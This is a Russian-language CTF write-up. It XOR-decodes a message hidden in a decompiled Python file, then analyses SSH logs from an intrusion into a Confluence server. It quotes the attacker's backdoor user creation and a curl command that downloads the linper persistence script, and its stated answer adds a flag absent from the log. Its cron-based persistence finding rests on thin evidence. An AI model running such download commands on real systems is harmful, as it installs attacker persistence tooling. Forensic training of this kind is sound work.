Источник: https://github.com/AnaktaCTF/CTF/blob/main — CTI_writeup.md
Введение
В рамках отборочного этапа Capture the Intruder (CTI) была представлена задача с анализом подозрительного файла Task1.pyc. Целью было раскрыть текстовое сообщение, скрытое во вложении. В этом writeup подробно описан процесс анализа файла, включая декомпиляцию, исправление кода, декодирование сообщения и выводы по результатам.
Шаг 1: Получение и первоначальный анализ файла
Описание задачи
Тестировщик программного обеспечения получил подозрительное электронное письмо с вложением Task1.pyc. Цель заключалась в анализе содержимого этого файла для выявления скрытого сообщения.
Инструменты и подготовка
- Python 3.8+: Для декомпиляции
.pycфайлов. - uncompyle6: Инструмент для декомпиляции Python bytecode.
- Текстовый редактор или IDE: Например, Visual Studio Code, для просмотра и редактирования исходного кода.
- Изолированная среда: Виртуальное окружение или контейнер Docker для безопасного анализа.
Шаг 2: Декомпиляция файла .pyc
Проблема с установкой uncompyle6
При попытке установить uncompyle6 возникла ошибка externally-managed-environment. Это связано с ограничениями системы на установку пакетов Python напрямую через pip. Для обхода этой проблемы было решено создать виртуальное окружение.
Создание и активация виртуального окружения
-
Создание виртуального окружения:
python3 -m venv venv -
Активация виртуального окружения:
source venv/bin/activate -
Установка
uncompyle6:pip install uncompyle6
Декомпиляция файла
После успешной установки uncompyle6 выполнена команда декомпиляции:
uncompyle6 -o . Task1.pyc
Результатом стала генерация файла Task1.py, который содержит исходный код декомпилированного скрипта.
Шаг 3: Анализ декомпилированного кода
Содержимое файла Task1.py
# uncompyle6 version 3.9.2
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.12.3 (main, Sep 11 2024, 14:17:37) [GCC 13.2.0]
# Embedded file name: zmeuka.py
# Compiled at: 2024-07-06 11:17:45
# Size of source mod 2**32: 540 bytes
def determinatio(input_string, key_array):
result = []
key_length = len(key_array)
for i, char in enumerate(input_string):
key = key_array[i % key_length]
result.append(char ^ key)
else:
result_str = "".join((chr(num) for num in ))
return result_str
input_string = [
95, 106, 147, 75, 99, 79, 35, 58, 49, 46, 39, 121, 114, 151, 66,
127, 68, 35]
key_array = [22, 7, 228, 42, 23, 44, 75, 83, 95, 73, 94]
result_string = determinatio(input_string, key_array)
print("No way")
Выявленные проблемы
-
Неполный код: В строке
result_str = "".join((chr(num) for num in ))отсутствует переменная для итерации. Вероятно, должно бытьfor num in result. -
Неиспользуемый результат: Переменная
result_stringнигде не используется, вместо этого выводится статическая строка"No way".
Исправление кода
Для корректной работы скрипта необходимо внести исправления:
def determinatio(input_string, key_array):
result = []
key_length = len(key_array)
for i, char in enumerate(input_string):
key = key_array[i % key_length]
result.append(char ^ key)
else:
result_str = "".join((chr(num) for num in result))
return result_str
input_string = [
95, 106, 147, 75, 99, 79, 35, 58, 49, 46, 39, 121, 114, 151, 66,
127, 68, 35]
key_array = [22, 7, 228, 42, 23, 44, 75, 83, 95, 73, 94]
result_string = determinatio(input_string, key_array)
print(result_string)
Шаг 4: Декодирование скрытого сообщения
Описание алгоритма
Функция determinatio выполняет операцию XOR между каждым элементом input_string и соответствующим элементом key_array (циклически). Результат преобразуется в символы и объединяется в строку.
Ручное декодирование
Если выполнение скрипта нежелательно или невозможно, декодирование можно провести вручную:
-
Инициализация массивов:
input_string = [ 95, 106, 147, 75, 99, 79, 35, 58, 49, 46, 39, 121, 114, 151, 66, 127, 68, 35] key_array = [22, 7, 228, 42, 23, 44, 75, 83, 95, 73, 94] -
Выполнение операции XOR и преобразование в символы:
decoded_chars = [] key_length = len(key_array) for i, char in enumerate(input_string): key = key_array[i % key_length] decoded_num = char ^ key decoded_char = chr(decoded_num) decoded_chars.append(decoded_char) decoded_message = "".join(decoded_chars) print(decoded_message) -
Вычисления:
Индекс (i) input_string[i] key_array[i % 11] XOR (input ^ key) Символ 0 95 22 95 ^ 22 = 73 'I' 1 106 7 106 ^ 7 = 109 'm' 2 147 228 147 ^ 228 = 119 'w' 3 75 42 75 ^ 42 = 97 'a' 4 99 23 99 ^ 23 = 116 't' 5 79 44 79 ^ 44 = 99 'c' 6 35 75 35 ^ 75 = 104 'h' 7 58 83 58 ^ 83 = 105 'i' 8 49 95 49 ^ 95 = 110 'n' 9 46 73 46 ^ 73 = 103 'g' 10 39 94 39 ^ 94 = 121 'y' 11 121 22 121 ^ 22 = 111 'o' 12 114 7 114 ^ 7 = 117 'u' 13 151 228 151 ^ 228 = 115 's' 14 66 42 66 ^ 42 = 104 'h' 15 127 23 127 ^ 23 = 104 'h' 16 68 44 68 ^ 44 = 104 'h' 17 35 75 35 ^ 75 = 104 'h' -
Собираем символы в сообщение:
Imwatchingyoushhhh
Интерпретация сообщения
Полученное сообщение выглядит как:
Imwatchingyoushhhh
Шаг 5: Выводы
Анализ результатов
-
Скрытое сообщение:
Imwatchingyoushhhh— фраза, указывающая на наблюдение или слежку за пользователем. Это может быть частью фишинговой атаки или социальной инженерии, направленной на запугивание или дезориентацию получателя. -
Структура файла: Использование операции XOR для скрытия сообщения свидетельствует о попытке замаскировать текст от простого анализа. Это типичный подход для сокрытия информации в программных атаках.
Writeup: Анализ Логов SSH для Определения Действий Злоумышленника
Введение
В рамках данной задачи необходимо проанализировать предоставленный файл логов Task3.log, зафиксировавший инцидент на сервере Confluence. Злоумышленник получил доступ к серверу посредством перебора учетных данных через службу SSH и выполнил ряд действий, которые отражены в логах. Целью является определить:
- Номер сеанса злоумышленника для учетной записи пользователя
root. - Идентификатор подтехники MITRE ATT&CK, использованный для закрепления доступа.
- Продолжительность первого сеанса SSH злоумышленника в секундах.
- Команду, использованную злоумышленником для загрузки скрипта.
Анализ Логов
1. Определение Номера Сеанса Злоумышленника для Пользователя root
В логах присутствуют несколько успешных подключений под пользователем root. Для идентификации сеанса злоумышленника обратим внимание на следующие строки:
-
Первое подключение:
Oct 6 18:19:54 ip-10-10-14-141 sshd[1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2 Oct 6 18:19:54 ip-10-10-14-141 systemd-logind[411]: New session 6 of user root. -
Второе подключение:
Oct 6 18:31:40 ip-10-10-14-141 sshd[2411]: Accepted password for root from 10.10.14.38 port 34782 ssh2 Oct 6 18:31:40 ip-10-10-14-141 systemd-logind[411]: New session 34 of user root. -
Третье подключение:
Oct 6 18:32:44 ip-10-10-14-141 sshd[2491]: Accepted password for root from 10.10.14.38 port 53184 ssh2 Oct 6 18:32:44 ip-10-10-14-141 systemd-logind[411]: New session 16 of user root.
Вывод:
Анализ логов показывает, что искомым является второй сеанс с номером 34, который был инициирован с IP-адреса 10.10.14.38.
Ответ: 34
2. Идентификация Подтехники MITRE ATT&CK для Закрепления Доступа
В логах наблюдаются следующие действия:
-
Создание новой группы и пользователя:
Oct 6 18:34:18 ip-10-10-14-141 groupadd[2586]: group added to /etc/group: name=shadowband, GID=1002 Oct 6 18:34:18 ip-10-10-14-141 useradd[2592]: new user: name=shadowband, UID=1002, GID=1002, home=/home/shadowband, shell=/bin/bash, from=/dev/pts/1 -
Добавление пользователя в группу
sudo:Oct 6 18:35:15 ip-10-10-14-141 usermod[2628]: add 'shadowband' to group 'sudo' -
Использование CRON для автоматизации:
Oct 6 18:34:01 ip-10-10-14-141 CRON[...]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Соответствующие техники MITRE ATT&CK:
Злоумышленник использовал технику T1053.005 (Scheduled Task/Job: Cron) для обеспечения постоянного доступа.
Ответ: T1053.005
3. Определение Продолжительности Первого Сеанса SSH Злоумышленника
Анализ временных меток сеанса:
-
Начало сеанса:
Oct 6 18:31:40 ip-10-10-14-141 sshd[2411]: Accepted password for root from 10.10.14.38 port 34782 ssh2 -
Завершение сеанса:
Oct 6 18:37:24
Расчёт продолжительности:
Продолжительность сеанса составила (18:37:24 - 18:31:40) = 344 секунды
Ответ: 344
4. Определение Команды, Использованной для Загрузки Скрипта
В логах зафиксировано использование команды curl для загрузки скрипта:
Oct 6 18:39:38 ip-10-10-14-141 sudo: shadowband : TTY=pts/1 ; PWD=/home/shadowband ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Полная команда с флагом -O для сохранения файла:
Ответ: sudo curl -O https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Итоговые Ответы
- Номер сеанса злоумышленника для учетной записи пользователя
root:34 - Идентификатор подтехники MITRE ATT&CK, использованный для закрепления:
T1053.005 - Продолжительность первого сеанса SSH злоумышленника в секундах:
344 - Команда, которую использовал злоумышленник для загрузки скрипта:
sudo curl -O https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh